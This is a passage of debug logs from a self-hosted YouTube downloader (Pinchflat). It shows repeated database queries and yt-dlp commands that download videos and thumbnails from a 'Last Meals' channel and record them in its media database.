m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:02:55.219 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:55.219 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:55.220 [debug] Running yt-dlp command for action: get_downloadable_status 22:02:55.220 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:55.220 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:55.220 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:55.220 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=UxiZUsNMQaA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f8/97/f897fba9e3a9dfde1b9ce7f44b12ba231937f229b3f525d54ccba60b24b404b6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:02:57.402 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=UxiZUsNMQaA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f8/97/f897fba9e3a9dfde1b9ce7f44b12ba231937f229b3f525d54ccba60b24b404b6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:02:57.402 [debug] Running yt-dlp command for action: download 22:02:57.403 [debug] QUERY OK source="settings" db=0.1ms idle=474.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:57.403 [debug] QUERY OK source="settings" db=0.0ms idle=342.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:57.403 [debug] QUERY OK source="settings" db=0.0ms idle=342.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:02:57.403 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=UxiZUsNMQaA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/36/be/36be3fd696f620a06cbdb4fb2520a92e15dffa178931079b6606f3326ba648b5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:02:58.816 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.641 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:03:28.818 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:34.590 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=bc6aG09SqwU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/57/44/574412891768a27214b4059e7b4114d1948c67aeb37d88456c09f0c0eeaecd30.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:03:34.599 [debug] Running yt-dlp command for action: download_thumbnail 22:03:34.599 [debug] QUERY OK source="settings" db=0.0ms idle=1538.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:34.599 [debug] QUERY OK source="settings" db=0.0ms idle=611.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:34.599 [debug] QUERY OK source="settings" db=0.0ms idle=539.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:34.599 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=bc6aG09SqwU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/61/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/57/8f/578fb8d66641400311b06595da9e41ca3c9ffbc60c57a1c6dd9ee4093dee0f72.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:03:37.306 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=bc6aG09SqwU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/61/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/57/8f/578fb8d66641400311b06595da9e41ca3c9ffbc60c57a1c6dd9ee4093dee0f72.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:03:37.306 [debug] QUERY OK db=0.0ms idle=1245.9ms begin [] 22:03:37.307 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:03:34Z], "/downloads/Last Meals/2024-12-12 Jimmy O. Yang Eats His Last Meal/Jimmy O. Yang Eats His Last Meal [bc6aG09SqwU].mp4", ~U[2026-03-28 02:03:37Z], 61] 22:03:37.307 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/61/metadata.json.gz", "/config/metadata/media_items/61/thumbnail.jpg", 61, ~U[2026-03-28 02:03:37Z], ~U[2026-03-28 02:03:37Z]] 22:03:37.307 [debug] QUERY OK db=0.0ms commit [] 22:03:37.309 [debug] QUERY OK source="media_items" db=0.8ms idle=1247.6ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [381511937, ~U[2026-03-28 02:03:37Z], 61] 22:03:37.309 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:03:37.309 [info] {"args":{"id":61},"id":66,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":127735455,"event":"job:stop","queue_time":4379573342,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:03:37.309 [debug] QUERY OK source="tasks" db=0.3ms idle=1248.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:03:37.309 [debug] QUERY OK source="tasks" db=0.3ms idle=318.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:03:37.310 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [62] 22:03:37.310 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [62] 22:03:37.315 [info] {"args":{"id":63},"id":68,"meta":{},"system_time":1774663417315818464,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:03:37.316 [debug] QUERY OK source="media_items" db=0.2ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [63] 22:03:37.316 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:03:37.317 [debug] QUERY OK source="sources" db=0.6ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:03:37.317 [debug] QUERY OK source="tasks" db=1.1ms idle=6.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:03:37.317 [debug] QUERY OK source="tasks" db=1.2ms idle=6.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:03:37.317 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:03:37.317 [debug] QUERY OK source="media_items" db=0.4ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [62, 63] 22:03:37.318 [debug] QUERY OK source="media_items" db=0.6ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [63] 22:03:37.318 [debug] QUERY OK source="media_items" db=0.8ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [62, 63] 22:03:37.319 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [63] 22:03:37.319 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:03:37.319 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:37.319 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:37.320 [debug] Running yt-dlp command for action: get_downloadable_status 22:03:37.320 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:37.320 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:37.320 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:37.321 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ciktYlmFbfc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d7/dd/d7dd8018b61d33a2fe6b08f8def55ba5a0c8ccc878eaab44a9651c602d7ddb2c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:03:38.815 [info] GET / 22:03:38.816 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:03:38.817 [debug] QUERY OK source="settings" db=0.5ms idle=1496.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:38.818 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1496.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:03:38.818 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=1497.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:03:38.819 [debug] QUERY OK source="media_items" db=0.7ms idle=1497.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:03:38.820 [debug] QUERY OK source="media_items" db=0.1ms idle=826.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:03:38.820 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:38.821 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:38.822 [debug] QUERY OK source="settings" db=0.2ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:38.824 [debug] QUERY OK source="tasks" db=0.4ms idle=3.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:03:38.824 [debug] QUERY OK source="media_items" db=0.3ms idle=4.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [62, 63] 22:03:38.826 [debug] QUERY OK source="media_items" db=0.2ms idle=5.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:03:38.827 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=5.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:03:38.828 [debug] QUERY OK source="sources" db=0.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:03:38.831 [debug] QUERY OK source="media_items" db=0.3ms idle=7.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:03:38.832 [debug] QUERY OK source="media_items" db=1.0ms idle=7.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS 